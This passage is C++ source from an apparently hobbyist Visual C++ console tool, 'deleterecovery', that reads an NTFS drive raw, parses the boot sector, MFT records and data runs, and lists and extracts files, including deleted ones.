    memcpy(&ntfsMFT,&m_pMFTRecord[m_dwCurPos],sizeof(NTFS_MFT_FILE));

    if(memcmp(ntfsMFT.szSignature,"FILE",4))
        return ERROR_INVALID_PARAMETER; // not the right signature

    m_bInUse = (ntfsMFT.wFlags&0x01); //0x01    Record is in use
                                      //0x02    Record is a directory

    //m_dwCurPos = (ntfsMFT.wFixupOffset + ntfsMFT.wFixupSize*2); 
    m_dwCurPos = ntfsMFT.wAttribOffset;

    do
    {   // extract the attribute header
        memcpy(&ntfsAttr,&m_pMFTRecord[m_dwCurPos],sizeof(NTFS_ATTRIBUTE));

        switch(ntfsAttr.dwType) // extract the attribute data 
        {
            // here I haven' implemented the processing of all the attributes.
            //  I have implemented attributes necessary for file & file data extraction
        case 0://UNUSED
            break;

        case 0x10: //STANDARD_INFORMATION
            nRet = ExtractData(ntfsAttr,uchTmpData,dwTmpDataLen);
            if(nRet)
                return nRet;
            memcpy(&m_attrStandard,uchTmpData,sizeof(ATTR_STANDARD));

            delete uchTmpData;
            uchTmpData = 0;
            dwTmpDataLen = 0;
            break;

        case 0x30: //FILE_NAME
            nRet = ExtractData(ntfsAttr,uchTmpData,dwTmpDataLen);
            if(nRet)
                return nRet;
            memcpy(&m_attrFilename,uchTmpData,dwTmpDataLen);

            delete uchTmpData;
            uchTmpData = 0;
            dwTmpDataLen = 0;

            break;

        case 0x40: //OBJECT_ID
            break;
        case 0x50: //SECURITY_DESCRIPTOR
            break;
        case 0x60: //VOLUME_NAME
            break;
        case 0x70: //VOLUME_INFORMATION
            break;
        case 0x80: //DATA
            if(!bExcludeData) 
            {
                nRet = ExtractData(ntfsAttr,uchTmpData,dwTmpDataLen);
                if(nRet)
                    return nRet;

                if(!m_puchFileData)
                {
                    m_dwFileDataSz = dwTmpDataLen;
                    m_puchFileData = new BYTE[dwTmpDataLen];
                    
                    memcpy(m_puchFileData,uchTmpData,dwTmpDataLen);
                }
                else
                {
                    puchTmp = new BYTE[m_dwFileDataSz+dwTmpDataLen];
                    memcpy(puchTmp,m_puchFileData,m_dwFileDataSz);
                    memcpy(puchTmp+m_dwFileDataSz,uchTmpData,dwTmpDataLen);

                    m_dwFileDataSz += dwTmpDataLen;
                    delete m_puchFileData;
                    m_puchFileData = puchTmp;
                }

                delete uchTmpData;
                uchTmpData = 0;
                dwTmpDataLen = 0;
            }
            break;

        case 0x90: //INDEX_ROOT
        case 0xa0: //INDEX_ALLOCATION
            // todo: not implemented to read the index mapped records
            return ERROR_SUCCESS;
            continue;
            break;
        case 0xb0: //BITMAP
            break;
        case 0xc0: //REPARSE_POINT
            break;
        case 0xd0: //EA_INFORMATION
            break;
        case 0xe0: //EA
            break;
        case 0xf0: //PROPERTY_SET
            break;
        case 0x100: //LOGGED_UTILITY_STREAM
            break;
        case 0x1000: //FIRST_USER_DEFINED_ATTRIBUTE
            break;

        case 0xFFFFFFFF: // END 
            if(uchTmpData)
                delete uchTmpData;
            uchTmpData = 0;
            dwTmpDataLen = 0;
            return ERROR_SUCCESS;

        default:
            break;
        };

        m_dwCurPos += ntfsAttr.dwFullLength; // go to the next location of attribute
    }
    while(ntfsAttr.dwFullLength);

    if(uchTmpData)
        delete uchTmpData;
    uchTmpData = 0;
    dwTmpDataLen = 0;
    return ERROR_SUCCESS;
}

// extract the attribute data from the MFT table
//   Data can be Resident & non-resident
int CMFTRecord::ExtractData(NTFS_ATTRIBUTE ntfsAttr, BYTE *&puchData, DWORD &dwDataLen)
{
    DWORD dwCurPos = m_dwCurPos;

    if(!ntfsAttr.uchNonResFlag)
    {// residence attribute, this always resides in the MFT table itself
        
        puchData = new BYTE[ntfsAttr.Attr.Resident.dwLength];
        dwDataLen = ntfsAttr.Attr.Resident.dwLength;

        memcpy(puchData,&m_pMFTRecord[dwCurPos+ntfsAttr.Attr.Resident.wAttrOffset],dwDataLen);
    }
    else
    {// non-residence attribute, this resides in the other part of the physical drive

        if(!ntfsAttr.Attr.NonResident.n64AllocSize) // i don't know Y, but fails when its zero
            ntfsAttr.Attr.NonResident.n64AllocSize = (ntfsAttr.Attr.NonResident.n64EndVCN - ntfsAttr.Attr.NonResident.n64StartVCN) + 1;

        // ATTR_STANDARD size may not be correct
        dwDataLen = ntfsAttr.Attr.NonResident.n64RealSize;

        // allocate for reading data
        puchData = new BYTE[ntfsAttr.Attr.NonResident.n64AllocSize];

        BYTE chLenOffSz; // length & offset sizes
        BYTE chLenSz; // length size
        BYTE chOffsetSz; // offset size
        LONGLONG n64Len, n64Offset; // the actual lenght & offset
        LONGLONG n64LCN =0; // the pointer pointing the actual data on a physical disk
        BYTE *pTmpBuff = puchData;
        int nRet;

        dwCurPos += ntfsAttr.Attr.NonResident.wDatarunOffset;;

        for(;;)
        {
            ///// read the length of LCN/VCN and length ///////////////////////
            chLenOffSz = 0;

            memcpy(&chLenOffSz,&m_pMFTRecord[dwCurPos],sizeof(BYTE));

            dwCurPos += sizeof(BYTE);

            if(!chLenOffSz)
                break;

            chLenSz     = chLenOffSz & 0x0F;
            chOffsetSz  = (chLenOffSz & 0xF0) >> 4;

            ///// read the data length ////////////////////////////////////////
    
            n64Len = 0;

            memcpy(&n64Len,&m_pMFTRecord[dwCurPos],chLenSz);

            dwCurPos += chLenSz;

            ///// read the LCN/VCN offset //////////////////////////////////////
    
            n64Offset = 0;

            memcpy(&n64Offset,&m_pMFTRecord[dwCurPos],chOffsetSz);
            
            dwCurPos += chOffsetSz;

            ////// if the last bit of n64Offset is 1 then its -ve so u got to make it -ve /////
            if((((char*)&n64Offset)[chOffsetSz-1])&0x80)
                for(int i=sizeof(LONGLONG)-1;i>(chOffsetSz-1);i--)
                    ((char*)&n64Offset)[i] = 0xff;
            
            n64LCN += n64Offset;
            
            n64Len *= m_dwBytesPerCluster;
            ///// read the actual data /////////////////////////////////////////
            /// since the data is available out side the MFT table, physical drive should be accessed
            nRet = ReadRaw(n64LCN,pTmpBuff,(DWORD&)n64Len);
            if(nRet)
                return nRet;

            pTmpBuff += n64Len;
        }
    }
    return ERROR_SUCCESS;
}

// read the data from the physical drive
int CMFTRecord::ReadRaw(LONGLONG n64LCN, BYTE *chData, DWORD &dwLen)
{
    int nRet;

    LARGE_INTEGER n64Pos;
    
    n64Pos.QuadPart = (n64LCN)*m_dwBytesPerCluster;
    n64Pos.QuadPart += m_n64StartPos;

    //   data is available in the relative sector from the begining od the drive    
    //    so point that data
    nRet = SetFilePointer(m_hDrive,n64Pos.LowPart,&n64Pos.HighPart,FILE_BEGIN);
    if(nRet == 0xFFFFFFFF)
        return GetLastError();

    BYTE *pTmp          = chData;
    DWORD dwBytesRead   =0;
    DWORD dwBytes       =0;
    DWORD dwTotRead     =0;

    while(dwTotRead <dwLen)
    {
        // v r reading a cluster at a time
        dwBytesRead = m_dwBytesPerCluster;

        // this can not read partial sectors
        nRet = ReadFile(m_hDrive,pTmp,dwBytesRead,&dwBytes,NULL);
        if(!nRet)
            return GetLastError();

        dwTotRead += dwBytes;
        pTmp += dwBytes;
    }

    dwLen = dwTotRead;

    return ERROR_SUCCESS;
}








MFTRecord.h
// MFTRecord.h: interface for the CMFTRecord class.

//

//////////////////////////////////////////////////////////////////////



#if !defined(AFX_MFTRECORD_H__04A1B8DF_0EB0_4B72_8587_2703342C5675__INCLUDED_)

#define AFX_MFTRECORD_H__04A1B8DF_0EB0_4B72_8587_2703342C5675__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000



#pragma pack(push, curAlignment)



#pragma pack(1)



////////////////////////////MFT record header and attribute header //////////////////////

struct NTFS_MFT_FILE

{

	char		szSignature[4];		// Signature "FILE"

	WORD		wFixupOffset;		// offset to fixup pattern

	WORD		wFixupSize;			// Size of fixup-list +1

	LONGLONG	n64LogSeqNumber;	// log file seq number

	WORD		wSequence;			// sequence nr in MFT

	WORD		wHardLinks;			// Hard-link count

	WORD		wAttribOffset;		// Offset to seq of Attributes

	WORD		wFlags;				// 0x01 = NonRes; 0x02 = Dir

	DWORD		dwRecLength;		// Real size of the record

	DWORD		dwAllLength;		// Allocated size of the record

	LONGLONG	n64BaseMftRec;		// ptr to base MFT rec or 0

	WORD		wNextAttrID;		// Minimum Identificator +1

	WORD		wFixupPattern;		// Current fixup pattern

	DWORD		dwMFTRecNumber;		// Number of this MFT Record

								// followed by resident and

								// part of non-res attributes

};



typedef struct	// if resident then + RESIDENT

{					//  else + NONRESIDENT

	DWORD	dwType;

	DWORD	dwFullLength;

	BYTE	uchNonResFlag;

	BYTE	uchNameLength;

	WORD	wNameOffset;

	WORD	wFlags;

	WORD	wID;



	union ATTR

	{

		struct RESIDENT

		{

			DWORD	dwLength;

			WORD	wAttrOffset;

			BYTE	uchIndexedTag;

			BYTE	uchPadding;

		} Resident;



		struct NONRESIDENT

		{

			LONGLONG	n64StartVCN;

			LONGLONG	n64EndVCN;

			WORD		wDatarunOffset;

			WORD		wCompressionSize; // compression unit size

			BYTE		uchPadding[4];

			LONGLONG	n64AllocSize;

			LONGLONG	n64RealSize;

			LONGLONG	n64StreamSize;

			// data runs...

		}NonResident;

	}Attr;

} NTFS_ATTRIBUTE;



//////////////////////////////////////////////////////////////////////////////////////////



///////////////////////// Attributes /////////////////////////////////////////////////////

typedef struct

{

	LONGLONG	n64Create;		// Creation time

	LONGLONG	n64Modify;		// Last Modify time

	LONGLONG	n64Modfil;		// Last modify of record

	LONGLONG	n64Access;		// Last Access time

	DWORD		dwFATAttributes;// As FAT + 0x800 = compressed

	DWORD		dwReserved1;	// unknown



} ATTR_STANDARD;   

  

typedef struct

{

	LONGLONG	dwMftParentDir;            // Seq-nr parent-dir MFT entry

	LONGLONG	n64Create;                  // Creation time

	LONGLONG	n64Modify;                  // Last Modify time

	LONGLONG	n64Modfil;                  // Last modify of record

	LONGLONG	n64Access;                  // Last Access time

	LONGLONG	n64Allocated;               // Allocated disk space

	LONGLONG	n64RealSize;                // Size of the file

	DWORD		dwFlags;					// attribute

	DWORD		dwEAsReparsTag;				// Used by EAs and Reparse

	BYTE		chFileNameLength;

	BYTE		chFileNameType;            // 8.3 / Unicode

	WORD		wFilename[512];             // Name (in Unicode ?)



}ATTR_FILENAME; 

//////////////////////////////////////////////////////////////////////////////////////////



#pragma pack(pop, curAlignment)







class CMFTRecord  

{

protected:

	HANDLE	m_hDrive;



	BYTE *m_pMFTRecord;

	DWORD m_dwMaxMFTRecSize;

	DWORD m_dwCurPos;

	DWORD m_dwBytesPerCluster;

	LONGLONG m_n64StartPos;



	int ReadRaw(LONGLONG n64LCN, BYTE *chData, DWORD &dwLen);

	int ExtractData(NTFS_ATTRIBUTE ntfsAttr, BYTE *&puchData, DWORD &dwDataLen);



public:

///////// attributes //////////////////////

	ATTR_STANDARD m_attrStandard;

	ATTR_FILENAME m_attrFilename;



	BYTE *m_puchFileData; // collected file data buffer

	DWORD m_dwFileDataSz; // file data size , ie. m_pchFileData buffer length



	bool m_bInUse;



public:

	int SetRecordInfo(LONGLONG n64StartPos, DWORD dwRecSize, DWORD dwBytesPerCluster);

	void SetDriveHandle(HANDLE hDrive);

	

	int ExtractFile(BYTE *puchMFTBuffer, DWORD dwLen, bool bExcludeData=false);



	CMFTRecord();

	virtual ~CMFTRecord();



};



#endif // !defined(AFX_MFTRECORD_H__04A1B8DF_0EB0_4B72_8587_2703342C5675__INCLUDED_)






NTFSDrive.cpp


    
    
    NTFSDrive.cpp
    
    


NTFSDrive.cpp// NTFSDrive.cpp: implementation of the CNTFSDrive class.
//
//////////////////////////////////////////////////////////////////////

#include "stdafx.h"
#include "NTFSDrive.h"
#include "MFTRecord.h"

#ifdef _DEBUG
#undef THIS_FILE
static char THIS_FILE[]=__FILE__;
#define new DEBUG_NEW
#endif

//////////////////////////////////////////////////////////////////////
// Construction/Destruction
//////////////////////////////////////////////////////////////////////

CNTFSDrive::CNTFSDrive()
{
    m_bInitialized = false;
    
    m_hDrive = 0;
    m_dwBytesPerCluster = 0;
    m_dwBytesPerSector = 0;

    m_puchMFTRecord = 0;
    m_dwMFTRecordSz = 0;

    m_puchMFT = 0;
    m_dwMFTLen = 0;

    m_dwStartSector = 0;    
}

CNTFSDrive::~CNTFSDrive()
{
    if(m_puchMFT)
        delete m_puchMFT;
    m_puchMFT = 0;
    m_dwMFTLen = 0;
}

void CNTFSDrive::SetDriveHandle(HANDLE hDrive)
{
    m_hDrive = hDrive;
    m_bInitialized = false;
}

// this is necessary to start reading a logical drive 
void CNTFSDrive::SetStartSector(DWORD dwStartSector, DWORD dwBytesPerSector)
{
    m_dwStartSector = dwStartSector;
    m_dwBytesPerSector = dwBytesPerSector;
}

// initialize will read the MFT record
///   and passes to the LoadMFT to load the entire MFT in to the memory
int CNTFSDrive::Initialize()
{
    NTFS_PART_BOOT_SEC ntfsBS;
    DWORD dwBytes;
    LARGE_INTEGER n84StartPos;

    n84StartPos.QuadPart = (LONGLONG)m_dwBytesPerSector*m_dwStartSector;

    // point the starting NTFS volume sector in the physical drive
    DWORD dwCur = SetFilePointer(m_hDrive,n84StartPos.LowPart,&n84StartPos.HighPart,FILE_BEGIN);

    // Read the boot sector for the MFT infomation
    int nRet = ReadFile(m_hDrive,&ntfsBS,sizeof(NTFS_PART_BOOT_SEC),&dwBytes,NULL);
    if(!nRet)
        return GetLastError();

    if(memcmp(ntfsBS.chOemID,"NTFS",4)) // check whether it is realy ntfs
        return ERROR_INVALID_DRIVE;

    /// Cluster is the logical entity
    ///  which is made up of several sectors (a physical entity) 
    m_dwBytesPerCluster = ntfsBS.bpb.uchSecPerClust * ntfsBS.bpb.wBytesPerSec;  

    if(m_puchMFTRecord)
        delete m_puchMFTRecord;

    m_dwMFTRecordSz = 0x01<<((-1)*((char)ntfsBS.bpb.nClustPerMFTRecord));
    m_puchMFTRecord = new BYTE[m_dwMFTRecordSz];

    m_bInitialized = true;

    // MFTRecord of MFT is available in the MFTRecord variable
    //   load the entire MFT using it
    nRet = LoadMFT(ntfsBS.bpb.n64MFTLogicalClustNum);
    if(nRet)
    {
        m_bInitialized = false;
        return nRet;
    }
    return ERROR_SUCCESS;
}

//// nStartCluster is the MFT table starting cluster
///    the first entry of record in MFT table will always have the MFT record of itself
int CNTFSDrive::LoadMFT(LONGLONG nStartCluster)
{
    DWORD dwBytes;
    int nRet;
    LARGE_INTEGER n64Pos;

    if(!m_bInitialized)
        return ERROR_INVALID_ACCESS;

    CMFTRecord cMFTRec;
    
    wchar_t uszMFTName[10];
    mbstowcs(uszMFTName,"$MFT",10);

    // NTFS starting point
    n64Pos.QuadPart = (LONGLONG)m_dwBytesPerSector*m_dwStartSector;
    // MFT starting point
    n64Pos.QuadPart += (LONGLONG)nStartCluster*m_dwBytesPerCluster;
    

    //  set the pointer to the MFT start
    nRet = SetFilePointer(m_hDrive,n64Pos.LowPart,&n64Pos.HighPart,FILE_BEGIN);
    if(nRet == 0xFFFFFFFF)
        return GetLastError();

    /// reading the first record in the NTFS table.
    //   the first record in the NTFS is always MFT record
    nRet = ReadFile(m_hDrive,m_puchMFTRecord,m_dwMFTRecordSz,&dwBytes,NULL);
    if(!nRet)
        return GetLastError();

    // now extract the MFT record just like the other MFT table records
    cMFTRec.SetDriveHandle(m_hDrive);
    cMFTRec.SetRecordInfo((LONGLONG)m_dwStartSector*m_dwBytesPerSector, m_dwMFTRecordSz,m_dwBytesPerCluster);
    nRet = cMFTRec.ExtractFile(m_puchMFTRecord,dwBytes);
    if(nRet)
        return nRet;

    if(memcmp(cMFTRec.m_attrFilename.wFilename,uszMFTName,8))
        return ERROR_BAD_DEVICE; // no MFT file available

    if(m_puchMFT)
        delete m_puchMFT;
    m_puchMFT = 0;
    m_dwMFTLen = 0;

    // this data(m_puchFileData) is special since it is the data of entire MFT file
    m_puchMFT = new BYTE[cMFTRec.m_dwFileDataSz];
    m_dwMFTLen = cMFTRec.m_dwFileDataSz;
    
    // store this file to read other files
    memcpy(m_puchMFT, cMFTRec.m_puchFileData, m_dwMFTLen);

    return ERROR_SUCCESS;
}


/// this function if suceeded it will allocate the buufer and passed to the caller
//    the caller's responsibility to free it
int CNTFSDrive::Read_File(DWORD nFileSeq, BYTE *&puchFileData, DWORD &dwFileDataLen)
{
    int nRet;
    
    if(!m_bInitialized)
        return ERROR_INVALID_ACCESS;
    
    CMFTRecord cFile;

    // point the record of the file in the MFT table
    memcpy(m_puchMFTRecord,&m_puchMFT[nFileSeq*m_dwMFTRecordSz],m_dwMFTRecordSz);

    // Then extract that file from the drive
    cFile.SetDriveHandle(m_hDrive);
    cFile.SetRecordInfo((LONGLONG)m_dwStartSector*m_dwBytesPerSector, m_dwMFTRecordSz,m_dwBytesPerCluster);
    nRet = cFile.ExtractFile(m_puchMFTRecord,m_dwMFTRecordSz);
    if(nRet)
        return nRet;

    
    puchFileData = new BYTE[cFile.m_dwFileDataSz];
    dwFileDataLen = cFile.m_dwFileDataSz;

    // pass the file data, It should be deallocated by the caller
    memcpy(puchFileData,cFile.m_puchFileData,dwFileDataLen);

    return ERROR_SUCCESS;
}


int CNTFSDrive::GetFileDetail(DWORD nFileSeq, ST_FILEINFO &stFileInfo)
{
    int nRet;

    if(!m_bInitialized)
        return ERROR_INVALID_ACCESS;

    if((nFileSeq*m_dwMFTRecordSz+m_dwMFTRecordSz) >= m_dwMFTLen)
        return ERROR_NO_MORE_FILES;

    CMFTRecord cFile;
    // point the record of the file in the MFT table
    memcpy(m_puchMFTRecord,&m_puchMFT[nFileSeq*m_dwMFTRecordSz],m_dwMFTRecordSz);

    // read the only file detail not the file data
    cFile.SetDriveHandle(m_hDrive);
    cFile.SetRecordInfo((LONGLONG)m_dwStartSector*m_dwBytesPerSector, m_dwMFTRecordSz,m_dwBytesPerCluster);
    nRet = cFile.ExtractFile(m_puchMFTRecord,m_dwMFTRecordSz,true);
    if(nRet)
        return nRet;

    // set the struct and pass the struct of file detail
    memset(&stFileInfo,0,sizeof(ST_FILEINFO));
    wcstombs(stFileInfo.szFilename,cFile.m_attrFilename.wFilename,_MAX_PATH);
    
    stFileInfo.dwAttributes = cFile.m_attrFilename.dwFlags;

    stFileInfo.n64Create = cFile.m_attrStandard.n64Create;
    stFileInfo.n64Modify = cFile.m_attrStandard.n64Modify;
    stFileInfo.n64Access = cFile.m_attrStandard.n64Access;
    stFileInfo.n64Modfil = cFile.m_attrStandard.n64Modfil;

    stFileInfo.n64Size   = cFile.m_attrFilename.n64Allocated;
    stFileInfo.n64Size  /= m_dwBytesPerCluster;
    stFileInfo.n64Size   = (!stFileInfo.n64Size)?1:stFileInfo.n64Size;
    
    stFileInfo.bDeleted = !cFile.m_bInUse;

    return ERROR_SUCCESS;
}






NTFSDrive.h
// NTFSDrive.h: interface for the CNTFSDrive class.

//

//////////////////////////////////////////////////////////////////////



#if !defined(AFX_NTFSDRIVE_H__078B2392_2978_4C23_97FD_166C4B234BF3__INCLUDED_)

#define AFX_NTFSDRIVE_H__078B2392_2978_4C23_97FD_166C4B234BF3__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000





#pragma pack(push, curAlignment)



#pragma pack(1)

////////////////////////////  boot sector info ///////////////////////////////////////

struct NTFS_PART_BOOT_SEC

{

	char		chJumpInstruction[3];

	char		chOemID[4];

	char		chDummy[4];

	

	struct NTFS_BPB

	{

		WORD		wBytesPerSec;

		BYTE		uchSecPerClust;

		WORD		wReservedSec;

		BYTE		uchReserved[3];

		WORD		wUnused1;

		BYTE		uchMediaDescriptor;

		WORD		wUnused2;

		WORD		wSecPerTrack;

		WORD		wNumberOfHeads;

		DWORD		dwHiddenSec;

		DWORD		dwUnused3;

		DWORD		dwUnused4;

		LONGLONG	n64TotalSec;

		LONGLONG	n64MFTLogicalClustNum;

		LONGLONG	n64MFTMirrLogicalClustNum;

		int			nClustPerMFTRecord;

		int			nClustPerIndexRecord;

		LONGLONG	n64VolumeSerialNum;

		DWORD		dwChecksum;

	} bpb;



	char		chBootstrapCode[426];

	WORD		wSecMark;

};

/////////////////////////////////////////////////////////////////////////////////////////

#pragma pack(pop, curAlignment)





class CNTFSDrive  

{

protected:

//////////////// physical drive info/////////////

	HANDLE	m_hDrive;

	DWORD m_dwStartSector;

	bool m_bInitialized;



	DWORD m_dwBytesPerCluster;

	DWORD m_dwBytesPerSector;

	

	int LoadMFT(LONGLONG nStartCluster);



/////////////////// the MFT info /////////////////

	BYTE *m_puchMFT;  /// the var to hold the loaded entire MFT

	DWORD m_dwMFTLen; // size of MFT



	BYTE *m_puchMFTRecord; // 1K, or the cluster size, whichever is larger

	DWORD m_dwMFTRecordSz; // MFT record size



public:

	struct ST_FILEINFO // this struct is to retrieve the file detail from this class

	{

		char szFilename[_MAX_PATH]; // file name

		LONGLONG	n64Create;		// Creation time

		LONGLONG	n64Modify;		// Last Modify time

		LONGLONG	n64Modfil;		// Last modify of record

		LONGLONG	n64Access;		// Last Access time

		DWORD		dwAttributes;	// file attribute

		LONGLONG	n64Size;		// no of cluseters used

		bool 		bDeleted;		// if true then its deleted file

	};



	int GetFileDetail(DWORD nFileSeq, ST_FILEINFO &stFileInfo);

	int Read_File(DWORD nFileSeq, BYTE *&puchFileData, DWORD &dwFileDataLen);

	

	void SetDriveHandle(HANDLE hDrive);

	void  SetStartSector(DWORD dwStartSector, DWORD dwBytesPerSector);



	int Initialize();

	CNTFSDrive();

	virtual ~CNTFSDrive();



};



#endif // !defined(AFX_NTFSDRIVE_H__078B2392_2978_4C23_97FD_166C4B234BF3__INCLUDED_)






ReadMe.txt
========================================================================

       CONSOLE APPLICATION : deleterecovery

========================================================================





AppWizard has created this deleterecovery application for you.  



This file contains a summary of what you will find in each of the files that

make up your deleterecovery application.



deleterecovery.dsp

    This file (the project file) contains information at the project level and

    is used to build a single project or subproject. Other users can share the

    project (.dsp) file, but they should export the makefiles locally.



deleterecovery.cpp

    This is the main application source file.



deleterecovery.rc

    This is a listing of all of the Microsoft Windows resources that the

    program uses.  It includes the icons, bitmaps, and cursors that are stored

    in the RES subdirectory.  This file can be directly edited in Microsoft

    Visual C++.



/////////////////////////////////////////////////////////////////////////////

Other standard files:



StdAfx.h, StdAfx.cpp

    These files are used to build a precompiled header (PCH) file

    named deleterecovery.pch and a precompiled types file named StdAfx.obj.



Resource.h

    This is the standard header file, which defines new resource IDs.

    Microsoft Visual C++ reads and updates this file.



/////////////////////////////////////////////////////////////////////////////

Other notes:



AppWizard uses "TODO:" to indicate parts of the source code you

should add to or customize.



/////////////////////////////////////////////////////////////////////////////






Resource.h
//{{NO_DEPENDENCIES}}

// Microsoft Visual C++ generated include file.

// Used by deleterecovery.rc

//

#define IDS_HELLO                       1



// Next default values for new objects

// 

#ifdef APSTUDIO_INVOKED

#ifndef APSTUDIO_READONLY_SYMBOLS

#define _APS_NEXT_RESOURCE_VALUE        101

#define _APS_NEXT_COMMAND_VALUE         40001

#define _APS_NEXT_CONTROL_VALUE         1000

#define _APS_NEXT_SYMED_VALUE           101

#endif

#endif






StdAfx.cpp


    
    
    StdAfx.cpp
    
    


StdAfx.cpp// stdafx.cpp : source file that includes just the standard includes
//  deleterecovery.pch will be the pre-compiled header
//  stdafx.obj will contain the pre-compiled type information

#include "stdafx.h"

// TODO: reference any additional headers you need in STDAFX.H
// and not in this file





StdAfx.h
// stdafx.h : include file for standard system include files,

//  or project specific include files that are used frequently, but

//      are changed infrequently

//



#if !defined(AFX_STDAFX_H__FE3C1E8A_5A59_4B7A_ACA0_8A4DDE507C91__INCLUDED_)

#define AFX_STDAFX_H__FE3C1E8A_5A59_4B7A_ACA0_8A4DDE507C91__INCLUDED_



#if _MSC_VER > 1000

#pragma once

#endif // _MSC_VER > 1000



#define VC_EXTRALEAN		// Exclude rarely-used stuff from Windows headers



#include <afx.h>

#include <afxwin.h>         // MFC core and standard components

#include <afxext.h>         // MFC extensions

#include <afxdtctl.h>		// MFC support for Internet Explorer 4 Common Controls

#ifndef _AFX_NO_AFXCMN_SUPPORT

#include <afxcmn.h>			// MFC support for Windows Common Controls

#endif // _AFX_NO_AFXCMN_SUPPORT



#include <iostream>



// TODO: reference additional headers your program requires here



//{{AFX_INSERT_LOCATION}}

// Microsoft Visual C++ will insert additional declarations immediately before the previous line.



#endif // !defined(AFX_STDAFX_H__FE3C1E8A_5A59_4B7A_ACA0_8A4DDE507C91__INCLUDED_)






